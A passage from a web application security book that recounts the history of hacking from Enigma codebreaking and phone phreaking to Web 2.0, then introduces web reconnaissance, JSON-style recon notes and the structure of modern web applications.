The Enigma machine was also an important technological development for those
who would be eventually known as “hackers.” The adoption of Enigma machines by
the Axis Powers during World War II resulted in extreme pressure for the Allies to
develop encryption-breaking techniques. General Dwight D. Eisenhower himself
claimed that doing so would be essential for victory against the Nazis.

In September of 1932, a Polish mathematician named Marian Rejewski was provided
a stolen Enigma machine. At the same time, a French spy named Hans-Thilo Schmidt
was able to provide him with valid configurations for September and October of
1932. This allowed Marian to intercept messages from which he could begin to ana‐
lyze the mystery of Enigma machine encryption.

Marian was attempting to determine how the machine worked, both mechanically
and mathematically. He wanted to understand how a specific configuration of the
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machine’s hardware could result in an entirely different encrypted message being
output.

Marian’s attempted decryption was based on a number of theories as to what machine
configuration would lead to a particular output. By analyzing patterns in the encryp‐
ted messages and coming up with theories based on the mechanics of the machine,
Marian and two coworkers, Jerzy Różycki and Henryk Zygalski, eventually reverse
engineered the system. With the deep understanding of Enigma rotor mechanics and
board configuration that the team developed, they were able to make educated
guesses as to which configurations would result in which encryption patterns. They
could then reconfigure a board with reasonable accuracy and, after several attempts,
begin reading encrypted radio traffic. By 1933 the team was intercepting and decrypt‐
ing Enigma machine traffic on a daily basis.

Much like the hackers of today, Marian and his team intercepted and reverse engi‐
neered encryption schemes to get access to valuable data generated by a source other
than themselves. For these reasons, I would consider Marian Rejewski and the team
assisting him as some of the world’s earliest hackers.

In the following years, Germany would continually increase the complexity of its
Enigma machine encryption. This was done by gradually increasing the number of
rotors required to encrypt a character. Eventually the complexity of reverse engineer‐
ing a configuration would become too difficult for Marian’s team to break in a rea‐
sonable time frame. This development was also important, because it provided a look
into the ever-evolving relationship between hackers and those who try to prevent
hacking.

This relationship continues today, as creative hackers continually iterate and improve
their techniques for breaking into software systems. And on the other side of the
coin, smart engineers are continually developing new techniques for defending
against the most innovative hackers.

Automated Enigma Code Cracking, Circa 1940
Alan Turing was an English mathematician who is best known for his development of
a test known today as the “Turing test.” The Turing test was developed to rate conver‐
sations generated by machines based on the difficulty in differentiating those conver‐
sations from the conversations of real human beings. This test is often considered to
be one of the foundational philosophies in the field of artificial intelligence (AI).

While Alan Turing is best known for his work in AI, he was also a pioneer in cryptog‐
raphy and automation. In fact, prior to and during World War II, Alan’s research
focus was primarily on cryptography rather than AI. Starting in September of 1938,
Alan worked part time at the Government Code and Cypher School (GC&CS).
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GC&CS was a research and intelligence agency funded by the British Army, located in
Bletchley Park, England.

Alan’s research primarily focused on the analysis of Enigma machines. At Bletchley
Park, Alan researched Enigma machine cryptography alongside his then-mentor
Dilly Knox, who at the time was an experienced cryptographer.

Much like the Polish mathematicians before them, Alan and Dilly wanted to find a
way to break the (now significantly more powerful) encryption of the German
Enigma machines. Due to their partnership with the Polish Cipher Bureau, the two
gained access to all of the research Marian’s team had produced nearly a decade ear‐
lier. This meant they already had a deep understanding of the machine. They under‐
stood the relationship between the rotors and wiring, and knew about the
relationship between the device configuration and the encryption that would be out‐
put (Figure 1-2).

Figure 1-2. A pair of Enigma rotors used for calibrating the Enigma machine’s transmis‐
sion configuration, an analog equivalent of changing a digital cipher’s primary key

Marian’s team was able to find patterns in the encryption that allowed them to make
educated guesses regarding a machine’s configuration. But this was not scalable now
that the number of rotors in the machine had increased as much as tenfold. In the
amount of time required to try all of the potential combinations, a new configuration
would have already been issued. Because of this, Alan and Dilly were looking for a
different type of solution; a solution that would scale and that could be used to break
new types of encryption. They wanted a general-purpose solution, rather than a
highly specialized one.
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Introducing the “Bombe”
A bombe was an electric-powered mechanical device that attempted to automatically
reverse engineer the position of mechanical rotors in an Enigma machine based on
mechanical analysis of messages sent from such machines (see Figure 1-3).

Figure 1-3. An early Bletchley Park Bombe used during World War II (note the many
rows of rotors used for rapidly performing Enigma configuration decryption)

The first bombes were built by the Polish, in an attempt to automate Marian’s work.
Unfortunately, these devices were designed to determine the configuration of Enigma
machines with very specific hardware. In particular, they were ineffective against
machines with more than three rotors. Because the Polish bombe could not scale
against the development of more complex Enigma machines, the Polish cryptogra‐
phers eventually went back to using manual methods for attempting to decipher Ger‐
man wartime messages.

Alan Turing believed that the original machines failed because they were not written
in a general-purpose manner. To develop a machine that could decipher any Enigma
configuration (regardless of the number of rotors), he began with a simple assump‐
tion: in order to properly design an algorithm to decrypt an encrypted message, you
must first know a word or phrase that exists within that message and its position.

Fortunately for Alan, the German military had very strict communication standards.
Each day, a message was sent over encrypted Enigma radio waves containing a
detailed regional weather report. This is how the German military ensured that all
units knew the weather conditions without sharing them publicly to anyone listening
on the radio. The Germans did not know that Alan’s team would be able to reverse
engineer the purpose and position of these reports.
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Knowing the inputs (weather data) being sent through a properly configured Enigma
machine made algorithmically determining the outputs much easier. Alan used this
newfound knowledge to determine a bombe configuration that could work inde‐
pendently of the number of rotors that the Enigma machine it was attempting to
crack relied on.

Alan requested a budget to build a bombe that would accurately detect the configura‐
tion requirements needed to intercept and read encrypted messages from German
Enigma machines. Once the budget was approved, Alan constructed a bombe com‐
posed of 108 drums that could rotate as fast as 120 RPM. This machine could run
through nearly 20,000 possible Enigma machine configurations in just 20 minutes.
This meant that any new configuration could be rapidly compromised. Enigma
encryption was no longer a secure means of communication.

Today Alan’s reverse-engineering strategy is known as a known plaintext attack or
KPA. It’s an algorithm that is made much more efficient by being provided with prior
input/output data. Similar techniques are used by modern hackers to break encryp‐
tion on data stored or used in software. The machine Alan built marked an important
point in history, as it was one of the first automated hacking tools ever built.

Telephone “Phreaking,” Circa 1950
After the rise of the Enigma machine in the 1930s and the cryptographic battle that
occurred between major world powers, the introduction of the telephone is the next
major event in our timeline. The telephone allowed everyday people to communicate
with each other over large distances, and at rapid speed. As telephone networks grew,
they required automation in order to function at scale.

In the late 1950s, telecoms like AT&T began implementing new phones that could be
automatically routed to a destination number based on audio signals emitted from
the phone unit. Pressing a key on the phone pad emitted a specific audio frequency
that was transmitted over the line and interpreted by a machine in a switching center.
A switching machine translated these sounds into numbers and routed the call to the
appropriate receiver.

This system was known as tone dialing, and was an essential development that tele‐
phone networks at scale could not function without. Tone dialing dramatically
reduced the overhead of running a telephone network, since the network no longer
needed an operator to manually connect every call. Instead, one operator overseeing
a network for issues could manage hundreds of calls in the same time as one call pre‐
viously took.

Within a short period of time, small groups of people began to realize that any sys‐
tems built on top of the interpretation of audio tones could be easily manipulated.
Simply learning how to reproduce identical audio frequencies next to the telephone
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receiver could interfere with the intended functionality of the device. Hobbyists who
experimented with manipulating this technology eventually became known as
phreakers—an early type of hacker specializing in breaking or manipulating tele‐
phone networks. The true origin of the term phreaking is not known, though it has
several generally accepted possible origins. It is most often thought to be derived
from two words, “freaking” and “phone.”

There is an alternative suggested derivation that I believe makes more sense. I believe
that the term phreaking originated from “audio frequency” in response to the audio
signaling languages that phones of the time used. I believe this explanation makes
more sense since the origin of the term is very close chronologically to the release of
AT&T’s original tone dialing system. Prior to tone dialing, telephone calls were much
more difficult to tamper with because each call required an operator to connect the
two lines.

We can trace phreaking back to several events, but the most notorious case of early
phreaking was the discovery and utilization of the 2600 Hz tone. A 2600 Hz audio
frequency was used internally by AT&T to signal that a call had ended. It was essen‐
tially an “admin command” built into the original tone dialing system. Emitting a
2600 Hz tone stopped a telecom switching system from realizing that a call was still
open (logged the call as ended, although it was still ongoing). This allowed expensive
international calls to be placed without a bill being recorded or sent to the caller.

The discovery of the 2600 Hz tone is often attributed to two events. First, a young boy
named Joe Engressia was known to have a whistling pitch of 2600 Hz and would
reportedly show off to his friends by whistling a tone that could prevent phones from
dialing. Some consider Joe to be one of the original phone phreakers, although his
discovery came by accident.

Later on, a friend of Joe Engressia’s named John Draper discovered that toy whistles
included in Cap’n Crunch cereal boxes mimicked a 2600 Hz tone. Careful usage of
the whistle could also generate free long-distance phone calls using the same techni‐
que. Knowledge of these techniques spread throughout the Western world, eventually
leading to the generation of hardware that could match specific audio frequencies
with the press of a button.

The first of these hardware devices was known as a blue box. Blue boxes played a
nearly perfect 2600 Hz signal, allowing anyone who owned one to take advantage of
the free calling bug inherent in telecom switching systems. Blue boxes were only the
beginning of automated phreaking hardware, as later generations of phreakers would
go on to tamper with pay phones, prevent billing cycles from starting without using a
2600 Hz signal, emulate military communication signals, and even fake caller ID.

From this we can see that architects of early telephone networks only considered nor‐
mal people and their communication goals. In the software world of today, this is
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known as “best-case scenario” design. Designing based off of this was a fatal flaw, but
it would become an important lesson that is still relevant today: always consider the
worst-case scenario first when designing complex systems.

Eventually, knowledge of weaknesses inherit in tone dialing systems became more
widely known, which led to budgets being allocated to develop countermeasures to
protect telecom profits and call integrity against phreakers.

Anti-Phreaking Technology, Circa 1960
In the 1960s, phones were equipped with a new technology known as dual-tone mul‐
tifrequency (DTMF) signaling. DTMF was an audio-based signaling language devel‐
oped by Bell Systems and patented under the more commonly known trademark,
“Touch Tones.” DTMF was intrinsically tied to the phone dial layout we know today
that consists of three columns and four rows of numbers. Each key on a DTMF
phone emitted two very specific audio frequencies, versus a single frequency like the
original tone dialing systems.

This table represents the “Touch Tones,” or sounds, (in hertz) that older telephones
made on keypress:

1 2 3 (697 Hz)

4 5 6 (770 Hz)

7 8 9 (852 Hz)

* 0 # (941 Hz)

(1209 Hz) (1336 Hz) (1477 Hz)

The development of DTMF was due largely to the fact that phreakers were taking
advantage of tone dialing systems because of how easy those systems were to reverse
engineer. Bell Systems believed that because the DTMF system used two very differ‐
ent tones at the same time, it would be much more difficult for a malicious actor to
take advantage of it.

DTMF tones could not be easily replicated by a human voice or a whistle, which
meant the technology was significantly more secure than its predecessor. DTMF was
a prime example of a successful security development introduced to combat phreak‐
ers, the hackers of that era.

The mechanics of DTMF tones are generated are pretty simple. Behind each key is a
switch that signals to an internal speaker to emit two frequencies: one frequency
based on the row of the key and one frequency based on the column. Hence the use
of the term dual-tone.
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DTMF was adopted as a standard by the International Telecommunication Union
(ITU) and would later go on to be used in cable TV (to specify commercial break
times), in addition to phones.

DTMF is an important technological development because it shows that systems can
be engineered to be more difficult to abuse if proper planning is taken. Note that
these DTMF tones would eventually be duplicated as well, but the effort required
would be significantly greater. Eventually switching centers would move to digital
(versus analog) inputs, which eliminated nearly all phreaking.

The Origins of Computer Hacking, Circa 1980
In 1976, Apple released the Apple 1 personal computer. This computer was not con‐
figured out of the box and required the buyer to provide a number of components
and connect them to the motherboard. Only a few hundred of these devices were
built and sold.

In 1982, Commodore International released its competitor device. This was the Com‐
modore 64, a personal computer that was completely configured right out of the box.
It came with its own keyboard, could support audio, and could even be used with
multicolor displays.

The Commodore 64 would go on to sell nearly 500,000 units per month until the
early 1990s. From this point forward, the sales trend for personal computers would
continually increase year over year for several decades to come. Computers soon
became a common tool in households as well as businesses, and took over common
repetitive tasks, such as managing finances, human resources, accounting, and sales.

In 1983, Fred Cohen, an American computer scientist, created the very first computer
virus. The virus he wrote was capable of making copies of itself and was easily spread
from one personal computer to another via floppy disk. He was able to store the virus
inside a legitimate program, masking it from anyone who did not have source code
access. Fred Cohen later became known as a pioneer in software security, demon‐
strating that detecting viruses from valid software with algorithms was almost
impossible.

A few years later, in 1988, another American computer scientist named Robert Mor‐
ris was the first person to ever deploy a virus that infected computers outside of a
research lab. The virus became known as the Morris Worm, with “worm” being a new
phrase used to describe a self-replicating computer virus. The Morris Worm spread to
about 15,000 network-attached computers within the first day of its release.

For the first time in history, the US government stepped in to consider official regula‐
tions against hacking. The US Government Accountability Office (GAO) estimated
the damage caused by this virus at $10,000,000. Robert received three years of
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probation, four hundred hours of community service, and a fine of $10,050. This
would make him the first convicted hacker in the United States.

These days, most hackers do not build viruses that infect operating systems, but
instead target web browsers. Modern browsers provide extremely robust sandboxing
that makes it difficult for a website to run executable code outside of the browser
(against the host operating system) without explicit user permission.

Although hackers today are primarily targeting users and data that can be accessed
via web browser, there are many similarities to hackers that targeted the OS. Scalabil‐
ity (jumping from one user to another) and camouflaging (hiding malicious code
inside of a legitimate program) are techniques employed by attacks against web
browsers.

Today, attacks often scale by distribution through email, social media, or instant mes‐
saging. Some hackers even build up legitimate networks of real websites to promote a
single malicious website.

Oftentimes, malicious code is hidden behind a legitimate-looking interface. Phishing
(credential stealing) attacks occur on websites that look and feel identical to social
media or banking sites. Browser plug-ins are frequently caught stealing data, and
sometimes hackers even find ways to run their own code on websites they do not
own.

The Rise of the World Wide Web, Circa 2000
The World Wide Web (WWW) sprang up in the 1990s, but its popularity began to
explode at the end of the 1990s and in the early 2000s.

In the 1990s, the web was almost exclusively used as a way of sharing documents
written in HTML. Websites did not pay attention to user experience, and very few
allowed the user to send any inputs back to the server in order to modify the flow of
the website. Figure 1-4 shows an Apple.com website from 1997 with purely informa‐
tional data.

The early 2000s marked a new era for the internet because websites began to store
user-submitted data and modify the functionality of the site based on user input. This
was a key development, later known as Web 2.0. Web 2.0 websites allowed users to
collaborate with each other by submitting their inputs over Hypertext Transport Pro‐
tocol (HTTP) to a web server, which would then store the inputs and share them with
fellow users upon request.

This new ideology in building websites gave birth to social media as we know it today.
Web 2.0 enabled blogs, wikis, media sharing sites, and more.
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Figure 1-4. Apple.com website, July 1997; the data presented is purely informational and
a user cannot sign up, sign in, comment, or persist any data from one session to another

This radical change in web ideology caused the web to change from a document-
sharing platform to an application distribution platform. Figure 1-5 shows an
Apple.com storefront from 2007 where you can buy things. Note the account link in
the upper right-hand corner, suggesting that the website had support for user
accounts and data persistence. The account link existed in previous iterations of the
Apple website in the 2000s, but in 2007 it was promoted to the top right of the UX
instead of a link at the bottom. It may have been experimental or underutilized
beforehand.
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Figure 1-5. Apple.com, October 2007, showing a storefront with items that can be pur‐
chased online

This huge shift in architecture design direction for websites also changed the way
hackers targeted web applications. By then, serious efforts had been taken to secure
servers and networks—the two leading attack vectors for hackers of the past decade.
With the rise of application-like websites, the user became a perfect target for
hackers.

It was a perfect setup. Users would soon have access to mission-critical functionality
over the web. Military communications, bank transfers, and more would all eventu‐
ally be done through web applications (a website that operates like a desktop applica‐
tion). Unfortunately, very few security controls were in place at the time to protect
users against attacks that targeted them. Furthermore, education regarding hacking
or the mechanisms that the internet ran on was scarce. Few early internet users in the
2000s could even begin to grasp the underlying technology that worked for them.

In the early 2000s, the first largely publicized denial of service (DoS) attacks shut
down Yahoo!, Amazon, eBay, and other popular sites. In 2002, Microsoft’s ActiveX
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plug-in for browsers ended up with a vulnerability that allowed remote file uploads
and downloads to be invoked by a website with malicious intentions. By the
mid-2000s, hackers were regularly utilizing “phishing” websites to steal credentials.
No controls were in place at the time to protect users against these websites.

Cross-Site Scripting (XSS) vulnerabilities that allowed a hacker’s code to run in a
user’s browser session inside of a legitimate website ran rampant throughout the web
during this time, as browser vendors had not yet built defenses for such attacks. Many
of the hacking attempts of the 2000s came as a result of the technology driving the
web being designed for a single user (the website owner). These technologies would
topple when used to build a system that allowed the sharing of data between many
users.

Hackers in the Modern Era, Circa 2015+
The point in discussing hacking in previous eras was to build a foundation from
which we can begin our journey in this book.

From analyzing the development and cryptoanalysis of Enigma machines in the
1930s, we gained insight into the importance of security, and the lengths that others
will go to in order to break that security.

In the 1940s, we saw an early use case for security automation. This particular case
was driven by the ongoing battle between attackers and defenders. In this case, the
Enigma machine technology had improved so much it could no longer be reliably
broken by manual cryptoanalysis techniques. Alan Turing turned to automation to
beat the security improvements.

The 1950s and 1960s showed us that hackers and tinkerers have a lot in common. We
also learned that technology designed without considering users with malicious
intent will lead to that technology eventually being broken into. We must always con‐
sider the worst-case scenario when designing technology to be deployed at scale and
across a wide user base.

In the 1980s, the personal computer started to become popular. Around this time, we
began to see the hackers we recognize today emerge. These hackers took advantage of
the powers that software enabled, camouflaging viruses inside of legitimate applica‐
tions, and using networks to spread their viruses rapidly.

Finally, the introduction and rapid adoption of the World Wide Web led to the devel‐
opment of Web 2.0, which changed the way we think about the internet. Instead of
the internet being a medium for sharing documents, it became a medium for sharing
applications. As a result, new types of exploits emerged that take advantage of the
user rather than the network or server. This is a fundamental change that is still true
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today, as most of today’s hackers have moved to targeting web applications via brows‐
ers, instead of desktop software and operating systems.

Let’s jump ahead to 2019, the year I started writing this book. At the time of writing,
there are thousands of websites on the web that are backed by million- and billion-
dollar companies. In fact, many companies make all of their revenue from their web‐
sites. Some examples you are probably familiar with are Google, Facebook, Yahoo!,
Reddit, Twitter, etc.

YouTube allows users to interact with each other, and with the application itself (see
Figure 1-6). Comments, video uploads, and image uploads are all supported. All of
these uploads have variable permissions that allow the uploader to determine who the
content should be visible to. Much of the hosted data persists permanently and across
sessions, and several features have changes reflected between users in near-real time
(via notifications). Also a significant number of critical features are offloaded to the
client (browser) rather than residing on the server.

Figure 1-6. YouTube.com, now owned by Google, is a fantastic example of a Web 2.0
website

Some traditional desktop software companies are now trying to move their product
lineup to the web, to what is known today as the cloud, which is simply a complex
network of servers. Examples of this include Adobe with Creative Cloud, a subscrip‐
tion offering that provides Photoshop and other Adobe tools via the web, and Micro‐
soft Office, which provides Word and Excel, but now as a web application.

Because of how much money is parked in web applications, the stakes are the highest
they have ever been. This means applications today on the web are ripe for exploita‐
tion, and the rewards for exploiting them are sky high.

This is truly one of the best eras to be in for both hackers and engineers who empha‐
size security. Work for both is in high demand, and on both sides of the law.
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Browsers have become significantly more advanced than they were 10 years ago.
Alongside this advancement has come a host of new security features. The network‐
ing protocols we use to access the internet have advanced as well.

Today’s browsers offer very robust isolation between websites with different origins,
following a security specification known as Same Origin Policy (SOP). This means
that website A cannot be accessed by website B even if both are open at once or one is
embedded as an iframe inside the other.

Browsers also accept a new security configuration known as Content Security Policy
(CSP). CSP allows the developer of a website to specify various levels of security, such
as whether scripts should be able to execute inline (in the HTML). This allows web
developers to further protect their applications against common threats.

HTTP, the main protocol for sending web traffic, has also improved from a security
perspective. HTTP has adopted protocols like SSL and TLS that enforce strict encryp‐
tion for any data traveling over the network. This makes man-in-the-middle attacks
very difficult to pull off successfully.

As a result of these advancements in browser security, many of the most successful
hackers today are actually targeting the logic written by developers that runs in their
web applications. Instead of targeting the browser itself, it is much easier to success‐
fully breach a website by taking advantage of bugs in the application’s code. Fortu‐
nately for hackers, web applications today are many times larger and more complex
than web applications of the past.

Often today, a well-known web application can have hundreds of open source depen‐
dencies, integrations with other websites, and multiple databases of various types, and
be served from more than one web server in more than one location. These are the
types of web applications you will find the most success in exploiting, and the types of
web applications we will be focusing on throughout this book.

To summarize, today’s web applications are much larger and more complex than their
predecessors. As a hacker, you can now focus on breaking into web applications by
exploiting logic bugs in the application code. Often these bugs result as a side effect of
advanced user interaction featured within the web application.

The hackers of the past decade focused much of their time on breaking into servers,
networks, and browsers. The modern hacker spends most of their time breaking into
web applications by exploiting vulnerabilities present in code.
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Summary
The origins of software security and the origins of hackers attempting to bypass that
security go back at least around a hundred years. Today’s software builds on top of
lessons learned from the technology of the past, as does the security of that software.

Hackers of the past targeted applications differently than they do today. As one part
of the application stack becomes increasingly more secure, hackers move on to target
new emerging technologies. These new technologies often do not have the same level
of security controls built in, and only through trial and error are engineers able to
design and implement the proper security controls.

Similarly to how simple websites of the past were riddled with security holes (in par‐
ticular, on the server and network levels), modern web applications bring new surface
area for attackers, which is being actively exploited. This brief historical context is
important because it highlights that today’s security concerns regarding web applica‐
tions are just one stage in a cyclical process. Web applications of the future will be
more secure, and hackers will likely move on to a new attack surface (maybe RTC or
web sockets, for example).

Each new technology comes with its own unique attack surface and
vulnerabilities. One way to become an excellent hacker is to always
stay up to date on the latest new technologies—these will often
have security holes not yet published or found on the web.

In the meantime, this book will show you how to break into and secure modern web
applications. But modern offensive and defensive security techniques are just one
facet of learning you should derive from this book. Ultimately, being able to find your
own solutions to security problems is the most valuable skill you can have as a secu‐
rity professional. If you can derive security-related critical thinking and problem-
solving skills from the coming chapters, then you will be able to stand above your
peers when new or unusual exploits are found—or previously unseen security mecha‐
nisms stand in your way.
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PART I

Recon

Instead of a technical overview, which you can find in several places throughout Web
Application Security, I figured it would be best to start this part of the book with a
philosophical overview.

To exploit web applications efficiently, a wide array of skills is required. On the one
hand, a hacker needs knowledge of network protocols, software development techni‐
ques, and common vulnerabilities found in various types of applications. But on the
other hand, the hacker also needs to understand the application they are targeting.
The more intimate this knowledge is, the better and more applicable it will be.

The hacker should understand the purpose of the application from a functional per‐
spective. Who are its users? How does the application generate revenue? For what
purpose do users select the application over competitors? Who are the competitors?
What functionality is found in the application?

Without deep understanding of the target application from a nontechnical perspec‐
tive, it is actually difficult to determine what data and functionality matter. For exam‐
ple, a web application used for car sales may consider the storage of objects
representing cars for sale (price, inventory, etc.) to be mission-critical data. But a
hobby website where car enthusiasts can post and share modifications done to their
own cars may consider the user accounts more valuable than the inventory listed on a
user’s profile.

The same can be said when talking about functionality, rather than just data. Many
web applications generate revenue in a number of ways, rather than just relying on
one income stream.



A media-sharing platform may offer a monthly subscription, serve ads, and offer paid
downloads. Which one of these is most valuable to the company? How does the usage
of these monetization functions differ from a usability perspective? How many users
contribute revenue to each stream?

Ultimately, web application reconnaissance is about collecting data and building a
model that combines a web application’s technical and functional details in a way that
allows you to fully understand the purpose and usage of a web application. Without
one or the other, a hacker cannot properly target their attacks. Thus, philosophically
speaking, web application reconnaissance is about generating a deeper understanding
of a target web application. And in this philosophical model, information is key—
regardless of if it is technical in nature or not.

Because this is a technical book, most of our focus will be on finding and analyzing
components of web applications from a technical perspective. However, we will also
discuss the importance of functional analysis as well as a few information organiza‐
tion techniques.

Beyond this, I implore you to perform your own nontechnical research when a recon
opportunity presents itself in the future.



CHAPTER 2

Introduction to Web Application
Reconnaissance

Web application reconnaissance refers to the explorative data-gathering phase that
generally occurs prior to hacking a web application. Web application reconnaissance
is typically performed by hackers, pen testers, or bug bounty hunters, but can also be
an effective way for security engineers to find weakly secured mechanisms in a web
application and patch them before a malicious actor find them. Reconnaissance
(recon) skills by themselves do not have significant value, but become increasingly
valuable when coupled with offensive hacking knowledge and defensive security
engineering experience.

Information Gathering
We already know that recon is all about building a deep understanding of an applica‐
tion before attempting to hack it. We also know that recon is an essential part of a
good hacker’s toolkit. But so far, our knowledge regarding recon stops about there. So
let’s brainstorm some more technical reasons as to why recon is important.

Many of the recon techniques presented in the following chapters
are useful for mapping applications, but also could get your IP flag‐
ged, potentially resulting in application bans or even legal action.
Most recon techniques should only be performed against applica‐
tions you own, or have written permission to test.

Recon can be accomplished in many ways. Sometimes simply navigating through a
web application and taking note of network requests will be all that you need to
become intimately familiar with the inner workings of that application. However, it is
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important to note that not all web applications will have a user interface that allows us
to visually explore the application and take note of its functionality.

Most public-facing applications (often business-to-consumer apps like social media)
will have a public-facing user interface. However, we should not assume that even in
this case we have access to the entire user interface. Instead, until we have investigated
further we should assume that we have access to a subset of the user interface.

Let’s think about this logically for a few minutes. When you go to your local Mega‐
Bank and open a new bank account (a checking account for this example), you typi‐
cally also receive login credentials that allow you to check your account information
via the web. Usually your account information is entered manually by a bank
employee, often by the bank teller who walked you through the paperwork. This
means that at one point or another someone else had access to a web or web-
connected application that could create new accounts inside the bank’s databases.

Furthermore, if you call and ask your banker to open a new savings account for you,
they will do so. Usually they will do this remotely as long as you are able to provide
the correct credentials in order to properly identify yourself. With most major banks,
this new savings account will be accessible via the same login information that your
checking account already uses.

From this we can gather that someone also had access to an application that allowed
them to edit information relevant to your (existing) account in order to connect it
with the newly created savings account. It could be the same application that was used
to create your checking account, or it could be a different application entirely.

Furthermore, you cannot manually close a bank account online, but you can easily
walk into your local branch and ask for your account to be closed. After your request
is granted, your account will be closed swiftly, typically within a few hours.

You have access to your bank account to check the balance via a web application—but
you can often only use this interface to read the balance. This implies you have read-
only access.

Some banks may allow us to pay our bills or transfer funds online—but none will
allow us (the customers) to create, modify, or delete our own accounts online. So
even with the most advanced digital banking systems, the customer of the bank only
has a limited subset of write-level access. Bank administrators and trusted staff do,
however, have the permissions required to modify, create, and delete accounts.

It is not feasible for a large bank to hire developers to manually create database quer‐
ies for each operation that modifies an account, so logically we can expect that they
have written software to do so even though we cannot access it. We call applications
with permissions structured like this role-based access controlled applications. Very
few applications today use only one level of permissions for all users.
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You have probably seen these controls in place in software you have used yourself; for
example, invoking a dangerous command on your OS might prompt for admin cre‐
dentials. Alternatively, many social media websites have moderators who have a
higher permissions level than a standard user, but are generally below an admin.

If we walked through a web application’s user interface by itself, we might never learn
of API endpoints that are intended for use by these elevated permissions users (such
as admins, moderators, etc.). But with a mastery of web application reconnaissance,
we can often find these APIs. We can even build a complex map that details the full
permissions of an admin or moderator, so that we can compare them to the permis‐
sions set for a standard user. Occasionally, we might find glitches that allow nonprivi‐
leged users to take advantage of functionality intended only for more privileged users.

Recon skills can also be used to gather information regarding applications we literally
don’t have access to. This could be a school’s internal network or a company’s
network-accessible file server. We don’t need a user interface to learn how an applica‐
tion runs if we are equipped with the proper skills to reverse engineer the structure of
an application’s APIs and the payloads those APIs accept.

Sometimes as you are doing your reconnaissance you will actually run into servers or
APIs that are not protected at all. Many companies rely on multiple servers, both
internal and external. Simply forgetting a single line of network or firewall configura‐
tion can lead to an HTTP server being exposed to a public network versus being con‐
fined to an internal network.

As you build up a map of what a web application’s technology and architecture look
like, you will also be able to better prioritize your attacks. You will gain an under‐
standing of what parts of the app are secured the most, and which ones could use a
bit of work.

Web Application Mapping
As we progress through this part of the book, you will learn how to build up a map
that represents the structure, organization, and functionality of a web application. It is
important to note that this should generally be the first step you take before attempt‐
ing to hack into a web application. As you become more proficient at web application
reconnaissance, you will develop your own techniques and your own methods of
recording and organizing the information you find.

An organized collection of topographical points is known to many as a map. The
term topography means the study of land features, shapes, and surfaces. Web applica‐
tions also have features, shapes, and surfaces. These are very different from those you
find out in nature, but many of the same concepts hold true. We will use the term
“map” here to define the data points collected regarding the code, network structure,
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and feature set of an application. You will learn how to acquire the data required to
fill a map in the next few chapters.

Depending on the complexity of the application you are testing, and the duration you
intend to be testing it for, you may be fine with storing your map in simple scratch
notes. For more robust applications, or applications you intend to test frequently and
over long periods of time, you probably want a more robust solution. How you
choose to structure your own maps is ultimately up to you—any format should be
sufficient as long as it is easily traversable and capable of storing relevant information
and relationships.

Personally, I prefer to use JavaScript Object Notation (JSON)-like format for most of
my notes. I find that hierarchical data structures are very frequently found in web
applications, and they also allow me to more easily sort and search my notes.

Here is an example of JSON-like recon notes describing a set of API endpoints found
in a web application’s API server:

{
  api_endpoints: {
    sign_up: {
      url: 'mywebsite.com/auth/sign_up',
      method: 'POST',
      shape: {
        username: { type: String, required: true, min: 6, max: 18 },
        password: { type: String, required: true, min: 6: max 32 },
        referralCode: { type: String, required: true, min: 64, max: 64 }
      }
    },
   sign_in: {
     url: 'mywebsite.com/auth/sign_in',
     method: 'POST',
     shape: {
        username: { type: String, required: true, min: 6, max: 18 },
        password: { type: String, required: true, min: 6: max 32 }
     }
   },
   reset_password: {
    url: 'mywebsite.com/auth/reset',
    method: 'POST',
    shape: {
     username: { type: String, required: true, min: 6, max: 18 },
     password: { type: String, required: true, min: 6: max 32 },
     newPassword: { type: String, required: true, min: 6: max 32 }
    }
   }
  },

 features: {
   comments: {},
   uploads: {
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    file_sharing: {}
   },
  },

  integrations: {
   oath: {
    twitter: {},
    facebook: {},
    youtube: {}
   }
  }
}

Hierarchical note-taking software like Notion, or mind-mapping software applica‐
tions like XMind, are also fantastic tools to use for recording and organizing what
you have learned through your recon attempts. Ultimately you need to find a method
that works well for you, keeping you organized, while also being robust enough to
scale beyond simple applications when needed.

Summary
Recon techniques are valuable for developing a deep understanding of the technology
and structure of a web application and the services that power that web application.
In addition to being able to perform recon against a web application, we also must
pay careful attention to our findings and document them in a fashion that is organ‐
ized enough for easy traversal at a later date.

The JSON-like notes presented in this chapter describe a note-taking style I prefer
when documenting my recon efforts against a web application. However, the most
important aspect of recon note-taking is to preserve relationships and hierarchies
while still keeping the notes easy to read and traverse manually.

You must find a style of documentation that works for you, and scales from small
applications to large applications. If you find an alternative style or format that suits
you better, then use that; the content and structure of the notes is much more impor‐
tant than the application or format in which they are stored.
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CHAPTER 3

The Structure of a Modern Web Application

Before you can effectively evaluate a web application for recon purposes, it is best to
gain an understanding of the common technologies that many web applications share
as dependencies. These dependencies span from JavaScript helper libraries and pre‐
defined CSS modules, all the way to web servers and even operating systems. By
understanding the role of these dependencies and their common implementations in
an applications stack, it becomes much easier to quickly identify them and look for
misconfigurations.

Modern Versus Legacy Web Applications
Today’s web applications are often built on top of technology that didn’t exist 10 years
ago. The tools available for building web applications have advanced so much in that
time frame that sometimes it seems like an entirely different specialization today.

A decade ago, most web applications were built using server-side frameworks that
rendered an HTML/JS/CSS page that would then be sent to the client. Upon needing
an update, the client would simply request another page from the server to be ren‐
dered and piped over HTTP.

Shortly after that, web applications began making use of HTTP more frequently with
the rise of Ajax (asynchronous JavaScript and XML), allowing network requests to be
made from within a page session via JavaScript.

Today, many applications actually are more properly represented as two or more
applications communicating via a network protocol, versus a single monolithic appli‐
cation. This is one major architectural difference between the web applications of
today and the web applications of a decade ago.
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Oftentimes today’s web applications are comprised of several applications connected
with a Representational State Transfer (REST) API. These APIs are stateless and only
exist to fulfill requests from one application to another. This means they don’t
actually store any information about the requester.

Many of today’s client (UI) applications run in the browser in ways more akin to a
traditional desktop application. These client applications manage their own life cycle
loops, request their own data, and do not require a page reload after the initial boot‐
strap is complete.

It is not uncommon for a standalone application deployed to a web browser to com‐
municate with a multitude of servers. Consider an image hosting application that
allows user login—it likely will have a specialized hosting/distribution server located
at one URL, and a separate URL for managing the database and logins.

It’s safe to say that today’s applications are often actually a combination of many sepa‐
rate but symbiotic applications working together in unison. This can be attributed to
the development of more cleanly defined network protocols and API architecture
patterns.

The average modern-day web application probably makes use of several of the follow‐
ing technologies:

• REST API
• JSON or XML
• JavaScript
• SPA framework (React, Vue, EmberJS, AngularJS)
• An authentication and authorization system
• One or more web servers (typically on a Linux server)
• One or more web server software packages (ExpressJS, Apache, NginX)
• One or more databases (MySQL, MongoDB, etc.)
